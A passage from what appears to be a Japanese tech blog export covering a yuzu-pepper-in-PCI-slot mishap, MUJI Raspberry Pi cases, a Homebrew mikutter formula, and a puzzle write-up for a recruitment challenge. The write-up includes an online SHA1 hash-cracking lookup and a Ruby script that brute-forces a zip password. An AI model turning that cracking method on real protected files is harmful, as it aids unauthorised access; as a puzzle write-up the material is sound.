6</a></blockquote>\n\n薬局で「精製水」と記載のあるあるものを利用するのが、一般家庭での基板洗浄には最適だそうです。\n\n\n### 歯ブラシでこする\n\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> マジレスすると歯ブラシはやめておいたほうがいいっす。ホコリとろうとしてやったら中のピンが大変なことに…(AGPスロットだったけど)</p>&mdash; salexkidd (@salexkidd) <a href=\"https://twitter.com/salexkidd/status/573720752198840320\">2015, 3月 6</a></blockquote>\n\n確かに細かいピンが並んでるPCIeスロットは下手に歯ブラシでこすると傷つけたりピン折れたりしそうなので、たとえ柚子胡椒が入り込んでもおっしゃる通りやめておきましょう。\n\n\n### つけ置き\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 失礼します。精製水の方が良いのはその通りですが、水道水で洗う人もいて、通常なんてことはないのでこの際気にしないで良いのでは。柚子胡椒はちゃんと落とさないと腐蝕の原因になると思いますが。買い出しに行って水に漬けっぱなしの方が心配。</p>&mdash; アキ (@Jaguaimo) <a href=\"https://twitter.com/Jaguaimo/status/573741851758366720\">2015, 3月 6</a></blockquote>\n\n\n密かに隠れている柚子胡椒成分が染み出している場合なども考えると、つけ置きは良くないということですね。常識的に考えてもマザーボードをつけ置きするなんてこと聞いたことないですし、やめておくのが得策です。\n\n\n## 先駆者の言葉\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>PCIもPCIeもそんなチャチな節点じゃないよ。LGAも</p>&mdash; ふぁるす (@sushi514) <a href=\"https://twitter.com/sushi514/status/573738766453473280\">2015, 3月 6</a></blockquote>\n\n\n## 対策\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>俺も柚子胡椒を振る時はちゃんとキャップ閉めよう</p>&mdash; やまじゅん (@MtJune11) <a href=\"https://twitter.com/MtJune11/status/573737721786593280\">2015, 3月 6</a></blockquote>\n\n以上です。\n\n## おすすめ柚子胡椒\n\n### 瓶入り\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/mzyy94\">@mzyy94</a> 柚子胡椒はびん入りのがあるので、アキバの日本百貨店あたりでGetできるかと。あっちのほーが色々便利かもよ?</p>&mdash; タモ=サーン (@tamosan) <a href=\"https://twitter.com/tamosan/status/573781580545593345\">2015, 3月 6</a></blockquote>\n\n瓶入りなので振ってPCIスロットに詰まるという事故が防げます。\n\n\n### ゆずすこ\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>福岡土産でもらった覚えがあるけど、柚子胡椒にお酢を加えてタバスコ風にしたYUZUSCO(ゆずすこ)っていう調味料があるよ</p>&mdash; mzsm (@mzsm_j) <a href=\"https://twitter.com/mzsm_j/status/573736798838484992\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>液体の柚子胡椒「ゆずすこ」 ゆずすこ [楽天] <a href=\"http://t.co/dRvymRSKzH\">http://t.co/dRvymRSKzH</a> <a href=\"https://twitter.com/hashtag/RakutenIchiba?src=hash\">#RakutenIchiba</a> <a href=\"http://t.co/2xHIh09Xpe\">pic.twitter.com/2xHIh09Xpe</a></p>&mdash; mzsm (@mzsm_j) <a href=\"https://twitter.com/mzsm_j/status/573738420742193152\">2015, 3月 6</a></blockquote>\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" lang=\"ja\"><p><a href=\"https://twitter.com/tamosan\">@tamosan</a> <a href=\"https://twitter.com/mzyy94\">@mzyy94</a> <a href=\"http://t.co/juLQl708Lx\">http://t.co/juLQl708Lx</a> あとはゆずすこ なんてものも…</p>&mdash; greenz(修験者) (@greenz_greenz) <a href=\"https://twitter.com/greenz_greenz/status/573782317505757185\">2015, 3月 6</a></blockquote>\n\n酢が入った液体の柚子胡椒もあるようです。これなら粘性が低そうなので取り除きやすいかもしれません。\n\n\n### 赤いゆずこしょう\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>赤もありました:高山物産 の 高山さんの赤いゆずごしょう(柚子胡椒赤)120g を Amazon でチェック! <a href=\"http://t.co/MOULMnZQO8\">http://t.co/MOULMnZQO8</a></p>&mdash; 対テロ戦争 (@syuu1228) <a href=\"https://twitter.com/syuu1228/status/573740978680393728\">2015, 3月 6</a></blockquote>\n\n\n赤い柚子胡椒もあるそうです。これならマザーボードに詰まっても見つけやすく、取り残しの心配が減りますね。\n\n\n### S&B柚子こしょう40g\n\n<iframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&o=9&p=8&l=as4&m=amazon&f=ifr&ref=ss_til&asins=B0084J95W8\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"></iframe>\n\n今回登場した柚子胡椒です。PCIスロットに入りやすいのでご注意ください。\n\n\n## まとめ\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>柚子胡椒のためになんで野口3枚も飛ばさにゃならんのだ。。</p>&mdash; PCI柚子胡椒職人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/573765816887345152\">2015, 3月 6</a></blockquote>\n\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>@各位&#10;&#10;届きましたのでご報告です <a href=\"http://t.co/NEzVslGQpf\">pic.twitter.com/NEzVslGQpf</a></p>&mdash; PCI柚子胡椒職人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/573999511258861569\">2015, 3月 7</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>@贈り物をして下さった方々&#10;&#10;最高の調味料各種を確認いたしました。 <a href=\"http://t.co/P5rxR8xkkP\">pic.twitter.com/P5rxR8xkkP</a></p>&mdash; PCI柚子胡椒職人 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/574001187554390016\">2015, 3月 7</a></blockquote>\n"]}],[0,{"slug":[0,"2015/03/09/muji-raspberry-pi-enclosure/"],"data":[0,{"title":[0,"無印良品で買えるRaspberry Pi2にぴったりのケース"],"date":[3,"2015-03-09T03:09:04.000Z"],"image":[0,"/assets/images/2015/03/09/muji-case.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"muji"],[0,"enclosure"],[0,"case"],[0,"raspberry-pi"],[0,"sbc"]]]}],"content":[0,"\nRaspberry Pi2を発売日に2つ注文したものの、ケースを準備していなかったので手軽に買えるRaspberry Piにぴったりの入れ物はないかと\n近所のショッピングモールを回ったところ、無印良品に寸法ぴったりのケースがいつくか売られていたので購入してみました。\n\n## 目次\n\n\n## ポリプロピレンフタ付石けん置き・大\n無印良品ネットストア価格:税込350円\n\n[http://www.muji.net/store/cmdty/detail/4548718640850](http://www.muji.net/store/cmdty/detail/4548718640850)\n\n- 寸法:約70×105×35mm\n- 素材:ポリプロピレン\n\n\n\n\n1つ目は寸法がRaspberry Piのために作られたかと感じるほどにピッタリサイズの石鹸ケース。本当にピッタリサイズです。\n\n\n\nスポンジ付きで、ケース内に収めた時の安定性・可搬性は抜群です。\n\n\n\n\nただ、エッジが尖っているRaspberry Pi 1 model B(プラスではない)は引っかかってしまい、格納できませんでした。\n\n\n## ポリプロピレンペンケース(横型) 大\n\n\n無印良品ネットストア価格:税込263円\n\n[http://www.muji.net/store/cmdty/detail/4547315371297](http://www.muji.net/store/cmdty/detail/4547315371297)\n\n- 寸法:約170×51×20mm\n- 素材:ポリプロピレン\n\n\n\n\n奥行きがRaspberry Piにピッタリで横幅がRaspberry Pi 二台分のケース。2台同時に持ち運んだり格納する際に利用したいケースです。\n\n\n\n\n\n\n## ポリプロピレン救急用品ケース\n\n無印良品ネットストア価格:税込231円\n\n[http://www.muji.net/store/cmdty/detail/4945247506822](http://www.muji.net/store/cmdty/detail/4945247506822)\n\n- 寸法:約75×110×46mm\n- 素材:ポリプロピレン\n\n\n\n\n\n奥行き・幅・高さともにゆとりのあるケース。いろいろな部品を装着したRaspberry Piに適しています。\n\n\n\n\nちなみに石鹸ケースがぴったりおさまります。\n\n\n\n\n## アクリルケース用・ベロア内箱仕切・縦・グレー\n\n無印良品ネットストア価格:税込600円\n\n[http://www.muji.net/store/cmdty/detail/4945247381009](http://www.muji.net/store/cmdty/detail/4945247381009)\n\n\n- 寸法:約幅16×奥行12×高さ2.5cm\n- 素材:??\n\n\n\n\n平置きで2台格納できるケース。蓋がないので可搬性はゼロですがポンと置いておく分には手軽で机の上に一つ置いておくとよい品です。\n\n\n\n\n\n\n## まとめ\n\n\n商品名|サイズ|加工|可搬性|価格\n:---:|:---:|:--:|:---:|---:\n石けん置き・大|ぴったり|容易|◎スポンジ付き|350\nペンケース・大|2個分|容易|○2個で安定|263\n救急用品ケース|余裕あり|容易|△上下に動く|231\nベロア内箱仕切|2個分|厳しい|×蓋なし|600\n\nどれも電源やLANケーブル用を接続するには加工が必要となりますが、上3つの素材はポリプロピレンなので加工は意外と簡単です。\n"]}],[0,{"slug":[0,"2015/03/13/mikutter-brew-formula/"],"data":[0,{"title":[0,"OS X向けmikutterパッケージ(Homebrew)作ったよ"],"date":[3,"2015-03-13T01:48:00.000Z"],"image":[0,"/assets/images/2015/03/13/mikutter-brew.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"brew"],[0,"mikutter"]]]}],"content":[0,"\n3月13日ですがミクの日です。\n\nmikutterをご存知ない方はいないと思いますが、簡単に説明すると、日本で一番有名なツイッタークライアントのことです。\nこのmikutter、Linuxの幾つかのメジャーなディストリビューションにはパッケージが用意されているのですが、\n革新的なOSであるOS Xにはパッケージが存在せず、導入する際には各自ちまちまと依存関係をクリアしていかなければいけないのです。\n\n新しいMacBookが発表されて世のOS Xユーザーも0.1‰ほど増えるだろうというこの時期に、mikutterがパッケージ管理されない状態が続いていていいのでしょうか。\n\nそんな自問自答からOS X用パッケージマネージャーの[Homebrew](http://brew.sh/index_ja.html)向けにパッケージを作ったのでご報告です。\n\n\n## 目次\n\n\n## Brew formulae\nHomebrewでは、パッケージをformulaという形で管理しています。\nこのformulaは、パッケージの依存関係とソースコードやバイナリの場所、そしてインストール処理を行うスクリプトが書かれているRubyのコードでできています。\n新しいパッケージを追加したい場合などはこのformulaを作成し、HomebrewのリポジトリにPull-Requestを行う事で大元のパッケージ群に追加してもらうことができます。\nこの新しいformulaの作成はbrewコマンドで行うことができます。\n詳しくは[homebrew/Formula-Cookbook.md at master · Homebrew/homebrew](https://github.com/Homebrew/homebrew/blob/master/share/doc/homebrew/Formula-Cookbook.md)を参考にしてください。\n\n\n## mikutter formula\n\n<del>\n前節のようにしてPull-Requestを行っている状態のBrewパッケージとして、mikutter formulaを作成しました。\nmikutterを動作させる上で必要なライブラリ等の依存関係も解決してインストールするようにできています。\n</del>\n\n<del>\n[mikutter 3.2.2 (new formula) by mzyy94 · Pull Request #37642 · Homebrew/homebrew](https://github.com/Homebrew/homebrew/pull/37642)\n</del>\n\n<del>\nこのformulaがHomebrewのリポジトリにマージされればコマンド1行打ち込むだけでmikutterのインストールが完了するのですが、\nまだマージされていないので2行のコマンドを打つ必要があります。\n</del>\n\n<ins datetime=\"2015-05-29T19:02:42+09:00\">訂正:homebrew側のビルドBotでMountain Lionにてエラーが出るためマージされませんでした。\nそのため、mikutterのアップデートに追従できないため、別でリポジトリを作成したのでこちらのFormulaを利用してください。\n\n- [mzyy94/homebrew-mikutter](https://github.com/mzyy94/homebrew-mikutter)\n\nこちらでも2行のコマンドでインストールできます。\n</ins>\n\n\n今までは、 tar-ballをダウンロードしてGTK+インストールしてgemインストールして... と、10行近くコマンドを打ち込まなければいけなかったので2行でも大きな進歩と言えます。\n\n## #mikutterInstallBattle\n\n皆さん大好き#mikutterInstallBattleの時間です。\n\nまず、最低限必要なものは以下の2つです。\n\n- [Homebrew](http://brew.sh)\n- [Xquartz.app](https://xquartz.macosforge.org)\n\nパッケージマネージャーのHomebrewとX11アプリケーションのためのX Window SystemであるXquartzを導入しておくだけでいいです。\n\nあとはHomebrewのコマンドを叩くだけ。\n<del>\n執筆時点(2015/3/13 10:24:33+JST)ではまだPull-Requestはマージされていないので、まずPull-Requestからformulaを引っ張ってきます。\n</del>\n\n<del>\n$ brew pull 37642\n</del>\n\n<ins datetime=\"2015-05-29T19:02:42+09:00\">別リポジトリからのtapとして導入するため、以下のコマンドでmikutterのFormulaを取得します。\n```\n$ brew tap mzyy94/mikutter\n```\n</ins>\n\n無事formulaが取得できたらあとは、\n```\n$ brew install mikutter\n```\nでインストールができます。\n\nそして、\n```\n$ mikutter\n```\nで起動します。\n以上です。\n\n## 日本語入力\n日本語入力はインストールしたての状態ではできないので各自ぐぐってがんばってください。\n"]}],[0,{"slug":[0,"2015/04/13/netagent-mondai1-4/"],"data":[0,{"title":[0,"ネットエージェント最終面接問題 Write-up その1"],"date":[3,"2015-04-13T05:08:49.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"netagent"]]]}],"content":[0,"\n恒例のネットエージェントのいきなり最終面接問題が3月末に公開されました。\n\n- [2016年度 新卒採用|ネットエージェント株式会社](http://www.netagent.co.jp/recruit/newgraduates_2016.html)\n\nネットニュースサイトにも取り上げられ([「解けたらいきなり最終面接」 ネットエージェント、今年も新卒向けに“難問”出題 - ねとらぼ](http://nlab.itmedia.co.jp/nl/articles/1503/30/news143.html))、盛り上がりを見せていたあのmondaiです。\n2016年新卒として、書類審査や2次選考を飛ばして最終面接を受けられるということなので本腰を入れて取り組んでみました。\nこのいきなり最終面接問題に関しては、全問正解しなければ回答の公開をしてはいけないとのことだったので察しがつくと思いますが、なんとかすべての問題をクリアできました。\nこれらmondaiを解いてきた過程をWrite-upとして残すことにしたので、興味がある方はご覧ください。\n\nこの記事ではmondai1からmondai4までの回答を掲載しています。\n\n## 目次\n\n\n## mondai1\n```\n選考過程を縮めたい方に問題を用意いたしました。問題に答えると最終面接から始められます。\n※2016年3月卒業予定の方以外も挑戦していただけますが、採用対象とはなりません。\n問題:LzYxMDIvcGouaGJwLy86cHR0aA==\n```\n\nBASE64でエンコードされた文字列を渡されるので、ちょちょっとコマンドを打つと逆さまになったURLがでてきます。\n\nなので`rev`コマンドを噛ませて逆順にしてアクセス可能なURLが表示されたらmondai1はおしまいです。\n\n\n\n```sh\n$ echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev\n```\n<!--\nhttp://pbh.jp/2016/\n-->\n\n\n## modai2\n\nmondai1の答えのURLにアクセスするとzip圧縮されたファイルを入手でき、そのファイルを展開するとmondai2.txtとzip形式の圧縮ファイルがあります。mondai2.txtの内容は以下の通りでした。\n\n\n```\n2016の平方根の小数点以下2016桁目から20桁をパスワードにしました。\n```\n\n大きな有効数字の平方根を扱えるコマンドが*nix系システムには存在します。そう`bc`コマンドです。\n\nこの`bc`コマンドを用いて小数点以下2035桁(2015番目から20桁)の2016の平方根を計算させます。\n`bc`コマンドによる出力は、適当な桁数で折り返しがあるので`perl`の正規表現を用いて削り、`tail`で終端から20バイトを取り出します。\n\n```sh\n$ echo 'scale=2015+20;sqrt(2016)' | bc | perl -pe's/\\\\?\\n//' | tail -c20\n```\n\n<!--\n74571026133060730881\n-->\n\nこれをパスワードとして入力すればmondai3.zipを解凍できます。\n\n```\n$ 7z x mondai3.zip\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai3.zip\n\nExtracting hint3.txt\nEnter password (will not be echoed) :\n\nExtracting mondai3.txt\nExtracting mondai4.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70392202\nCompressed: 70392736\n```\n\n<!--\n\n$ 7za x mondai3.zip -p74571026133060730881\n\n7-Zip (a) [64] 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03\np7zip Version 9.38.1 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai3.zip\n\nExtracting hint3.txt\nExtracting mondai3.txt\nExtracting mondai4.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70392202\nCompressed: 70392736\n\n-->\n\n\n\n## mondai3\n\nmondai3.txtの中身は以下の通り。\n\n```\nハッシュパスワード問題\n答え:3つの答えをつなげて\n\n0f1aae8b8398c20f81e1c36e349a7880c9234c63\n01821f5469967540a5a774197463e8c4d658f588\n264f39cab871e4cfd65b3a002f7255888bb5ed97\n```\n\nパスワードを3つに分割してSHA1ハッシュを生成したものが記されており、それらの元の文字列を探し出せばいいというもの。広いWebの世界には単純な単語のハッシュ化前後のテーブルが存在し、手軽に利用できるものに\n[SHA1 Decrypter - SHA1 Decryption, Free SHA1 Decryptor, Online SHA1 Cracker, SHA1 Security](http://www.hashkiller.co.uk/sha1-decrypter.aspx)などがあります。このサイトに問題のハッシュ値をペーストして探索をかけると1秒足らずでハッシュ化前の数値を返してくれます。\n\n\n\nここで得られた単語をそのままくっつけてパスワードに指定すると、mondai4.zipが解凍できます。\n\n```sh\n$ 7z x mondai4.zip\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai4.zip\n\nExtracting hint4.txt\nEnter password (will not be echoed) :\n\nExtracting mondai4.png\nExtracting mondai5.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70391846\nCompressed: 70391891\n```\n\n<!--\n$ 7za x mondai4.zip -ptokyouenoline\n\n7-Zip (a) [64] 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03\np7zip Version 9.38.1 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai4.zip\n\nExtracting hint4.txt\nExtracting mondai4.png\nExtracting mondai5.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70391846\nCompressed: 70391891\n\n-->\n\n## mondai4\n\n\nmondai4.pngはヒエログリフが書かれた画像です。ヒエログリフを読解できなければ問題文すら読めない状況なので、ヒエログリフ学習サイトを探して学びます。以下のサイトを参考に3分ほどで学びました。\n\n- [日本語五十音をヒエログリフで表現](http://www004.upp.so-net.ne.jp/anubis/j50/jp50.html)\n\nヒエログリフを学び終わると、すらすらと画像の文字が読めるようになるので、日本語に起こします。\n\n```\nのらかちいくち てちのちんちもちみら もにみちもにみら もにとちのにみちもちい のらもらま\n```\n\nぱっと見で平仮名で換字式暗号化された英文もしくはローマ字の文だと想像がつきます。ここで適当な文節として二言目の「てちのちんちもちみら」をGoogleで検索してみると、上位にヒットしたものにこの暗号の手がかりがでてきます。\n\n\n\n日本語キーボードのかな入力モードにしてローマ字の文を打った文は、母音に位置する「ら」や「ち」が多く登場することから、この暗号方式はカナ入力のままのローマ字打ちだと断定しました。\nしかし英字キーボードユーザーなので、かなが印刷されたキーボードを持っていません。仕方なしにWikimediaでそれっぽい画像を拾ってきて、平仮名⇆アルファベット変換を行うと、上記の平仮名文字列は以下のように変換できます。\n\n```\nkotaeha wakayamano minamino misakinamae komoji\n```\n「答えは和歌山の南の岬名前小文字」とのことです。早速Googleマップを開いて和歌山県の南にある岬を探します。\n\n\n\n探すと潮岬(読み:しおのみさき)が和歌山の南部にある岬なので、これをアルファベット小文字にしてパスワードにして回答終了…だとおもってました。\n**shionomisaki**としてタイプしてもパスワードが間違っていると言われ、解凍できません。「もしや違う岬なのかな?」と思い、和歌山の岬をいろいろ調べて同じように入力しても開きません。もうだめ...と心折れそうになってしまったので、あとはBruteForceに任せようと、次のような適当なスクリプトを書いて放置しました。\n\n```ruby\n#!/usr/bin/env ruby\n\n# kana 50 components\nvowel5 = ['a', 'i', 'u', 'e', 'o']\nconsonant5 = ['k', 's', 'sh', 't', 'ch', 'n', 'h', 'm', 'r', 'g', 'z', 'j', 'd', 'b', 'p']\nvowel3 = ['a', 'u', 'o']\nconsonant3 = ['y', 'ky', 'sy', 'ts', 'ny', 'hy', 'by', 'gy', 'py', 'w']\n\n\n# kana list\nlist = ['']\n\nfor v in vowel5 do\n\tlist.push v\nend\n\nfor c in consonant5 do\n\tfor v in vowel5 do\n\t\tlist.push c + v\n\t\tlist.push c[0] + c + v\n\tend\nend\n\nfor c in consonant3 do\n\tfor v in vowel3 do\n\t\tlist.push c + v\n\t\tlist.push c[0] + c + v\n\tend\nend\n\nlist.push 'nn'\n\n\nlocker = Mutex::new\n\n# Wordlist generator\nqueue = []\nThread.start {\n\tq = ['','','','','','']\n\tfor p0 in list do\n\t\tfor p1 in list do\n\t\t\tfor p2 in list do\n\t\t\t\tfor p3 in list do\n\t\t\t\t\tfor p4 in list do\n\t\t\t\t\t\tfor p5 in list do\n\t\t\t\t\t\t\tq[5] = p5\n\t\t\t\t\t\t\tqq = q.join\n\t\t\t\t\t\t\tunless qq =~ /^(.)\\1/ then\n\t\t\t\t\t\t\t\tlocker.synchronize { queue.push qq }\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\tq[4] = p4\n\t\t\t\t\tend\n\t\t\t\t\tq[3] = p3\n\t\t\t\tend\n\t\t\t\tq[2] = p2\n\t\t\tend\n\t\t\tq[1] = p1\n\t\tend\n\t\tq[0] = p0\n\tend\n}\n\n\n\n# Password cracker\nputs 'Cracking...'\nthread_count = 128\nthreads = []\nfound = false\nthread_count.times do |i|\n\tthreads << Thread.start {\n\t\tloop do\n\t\t\tbreak if found\n\t\t\tbreak unless queue\n\t\t\tpass = locker.synchronize { queue.shift } + \"misaki\"\n\t\t\tt = system \"7za x -p#{pass} -so mondai5.zip > /dev/null 2> /dev/null\"\n\t\t\tif t then\n\t\t\t\tfound = true\n\t\t\t\tputs '## PASS FOUND ##'\n\t\t\t\topen(\"pass.txt\", \"a\") {|f| f.puts pass }\n\t\t\t\tputs 'pass saved.'\n\t\t\tend\n\t\tend\n\t}\nend\n\n\nthreads.each { |th| th.join }\n\n```\n\n\n1時間ほどお風呂に入って放置していたら、答えが吐き出されていました。\n```sh\n$ time ./solver.rb\nCracking...\n## PASS FOUND ##\npass saved.\n\nreal 16m44.573s\nuser 30m36.171s\nsys 18m7.269s\n```\n\n潮岬(読み:しおのみさき)の「潮」の字を「うしお」と読み違えて(?)パスワードに設定していたようです。\n\nこのパスワードを入力することでmondai5.zipを展開することができました。\n\n```\n$ 7z x mondai5.zip\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai5.zip\n\nExtracting hint5.txt\nEnter password (will not be echoed) :\n\nExtracting mondai5\nExtracting mondai6.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70380412\nCompressed: 70378640\n```\n<!--\n\n$ 7za x mondai5.zip -pushiomisaki\n\n7-Zip (a) [64] 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03\np7zip Version 9.38.1 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai5.zip\n\nExtracting hint5.txt\nExtracting mondai5\nExtracting mondai6.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70380412\nCompressed: 70378640\n\n-->\n\nmondai5以降のWrite-upは明日公開します。\n"]}],[0,{"slug":[0,"2015/04/14/netagent-mondai5-6/"],"data":[0,{"title":[0,"ネットエージェント最終面接問題 Write-up その2"],"date":[3,"2015-04-13T15:05:14.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"netagent"]]]}],"content":[0,"\n\nネットニュースサイトにも取り上げられ、盛り上がりを見せていたネットエージェントのいきなり最終面接mondaiのWrite-upその2です。\n\n- [「解けたらいきなり最終面接」 ネットエージェント、今年も新卒向けに“難問”出題 - ねとらぼ](http://nlab.itmedia.co.jp/nl/articles/1503/30/news143.html)\n\n某所ではこれらのmondaiを10分で解けたとの声が上がっているようで、世の中にはこの記事とは比べ物にならないくらい効率のよい解き方をしている方がいるようです。それらの解法と比べると、この記事の解法は全部解くのに数日かかっているので、内容が無いも同然という位置付けとなります。\nもし10分で解いた猛者たちの解法が公開されていたら、この記事ではなくそちらをご覧になることをお勧めします。\n\n昨日の[mondai1からmondai4までのWrite-upの記事](../2015/2015-04-13-netagent-mondai1-4.md)に続き、今日はmondai5とmondai6のWrite-upを公開します。\n\n## 目次\n\n\n## mondai5\n\nmondai4.zipを解凍した際に出てきたファイル、mondai5は何だろうかと`file`コマンドを用いて調べると、ASCII textであるらしいことがわかります。テキストエディタで開いてみると、各行76文字で折り返されている、長いBASE64エンコードされた文字列が記載されていました。\nそのまま`base64`に食べさせてデコードします。\n```sh\n$ base64 -D mondai5 -o mondai5-1\n```\n\nデコードしてできたmondai5-1を`file`コマンドで調べてみるとまたもASCII textで、内容も先ほどと同じように、各行76文字で折り返されたBASE64エンコード文字列が書かれています。\n同じように`base64`でデコードしてmondai5-2を作成します。\n\n作成したmondai5-2を調べると、なんとmondai5、mondai5-1と同じ形で、またもBASE64エンコード文字列が書かれてるASCII textでした。\nこれもまた`base64`でデコードしてmondai5-3を作成します。\nできあがった**mondai5-3も同じ形式**なので、同様の手順でmondai5-4を作成します。\n\nmondai5-4は`file`コマンドで調べると、以下のように返してきます。\n```sh\n$ file mondai5-4\nmondai5-4: uuencoded or xxencoded text\n```\n\nuuencodeされた文字列が格納されているようです。\n`uudecode`コマンドでmondai5-5を作成します。\n\n```sh\n$ uudecode -o mondai5-5 mondai5-4\n```\n\nmondai5-5を調べてみるとgzip圧縮ファイルだということがわかります。\n```sh\n$ file mondai5-5\nmondai5-5: gzip compressed data, from Unix, last modified: Thu Mar 19 17:31:56 2015\n```\n\n`gunzip`で解凍してmondai5-6を作成します。\n\n```sh\n$ gunzip -d mondai5-5 -c > mondai5-6\n```\n\nmondai5-6を調査してみましょう。`file`コマンドによるとzip圧縮ファイルとのことなので、中身を調べてみます。\n```sh\n$ file mondai5-6\nmondai5-6: Zip archive data, at least v1.0 to extract\n$ 7z l mondai5-6\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nListing archive: mondai5-6\n\n--\nPath = mondai5-6\nType = zip\nPhysical Size = 1472\n\n Date Time Attr Size Compressed Name\n------------------- ----- ------------ ------------ ------------------------\n2015-03-18 18:50:16 ....A 1332 1332 nek\n------------------- ----- ------------ ------------ ------------------------\n 1332 1332 1 files, 0 folders\n```\n\nnekというファイルが格納されているようです。`7z`コマンドで解凍してnekを取り出します。\n\n```sh\n$ 7z x mondai5-6\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai5-6\n\nExtracting nek\n\nEverything is Ok\n\nSize: 1332\nCompressed: 1472\n```\n\nnekを調べると、bzip圧縮ファイルとのことなので、`bzip2`コマンドで解凍します。\n\n```sh\n$ file nek\nnek: bzip2 compressed data, block size = 900k\n$ bzip2 -d nek -c > mondai5-8\n```\n\nmondai5-8は7z圧縮ファイルとのことなので、`7z`コマンドで解凍します。\n```sh\n$ file mondai5-8\nmondai5-8: 7-zip archive data, version 0.3\n$ 7z x mondai5-8\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai5-8\n\nExtracting n\n\nEverything is Ok\n\nSize: 974\nCompressed: 1082\n```\n\nこれによって、nというファイルが展開されます。このファイルはrar圧縮ファイルとのことなので`unrar`で解凍します。\n\n```sh\n$ file n\nn: RAR archive data, v1d, os: Win32\n$ unrar x n\n\nUNRAR 5.20 beta 1 freeware Copyright (c) 1993-2014 Alexander Roshal\n\n\nExtracting from n\n\nExtracting ne OK\nAll OK\n```\n\nneというファイルが出てきましたね。neはlha圧縮されたファイルとのことなので、`lha`コマンドで解凍します。\n\n```sh\n$ file ne\nne: LHarc 1.x/ARX archive data [lh0]\n$ lha x ne\nnex - Melted : o\n```\n\nnexファイルが出来上がりました。はい。調べるとxz圧縮なので`xz`で解凍します。\n\n```sh\n$ file nex\nnex: xz compressed data\n$ xz -d nex -c > mondai5-12\n```\n\nちょっと疲れたのでコーヒーを飲みます。\n\nmondai5-12を`file`コマンドで調べると、なんと、判定してくれません!(貧弱なfileめ)\n\n```sh\n$ file mondai5-12\nmondai5-12: data\n```\n\nマジックナンバーを見てみると、MSWIMとなってることが確認出ました。\n\n```sh\n$ xxd mondai5-12 | head -2\n0000000: 4d53 5749 4d00 0000 d000 0000 000d 0100 MSWIM...........\n0000010: 8000 0000 0000 0000 4ef7 dcb4 6e01 bfe4 ........N...n...\n```\n\nGoogleで「\"MSWIM\" magic number」として調べると、1番目に次のページがヒットします。\n\n[Windows Imaging Format - Wikipedia, the free encyclopedia](http://en.wikipedia.org/wiki/Windows_Imaging_Format)\n\nこのWikipediaの記事の最後に、*LZX圧縮だし7zとかで開けるよ(意訳)*と書いてあるので、`7z`で展開を試みてみます。\n\n```sh\n$ 7z x mondai5-12\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai5-12\n\nExtracting QRcode\n\nEverything is 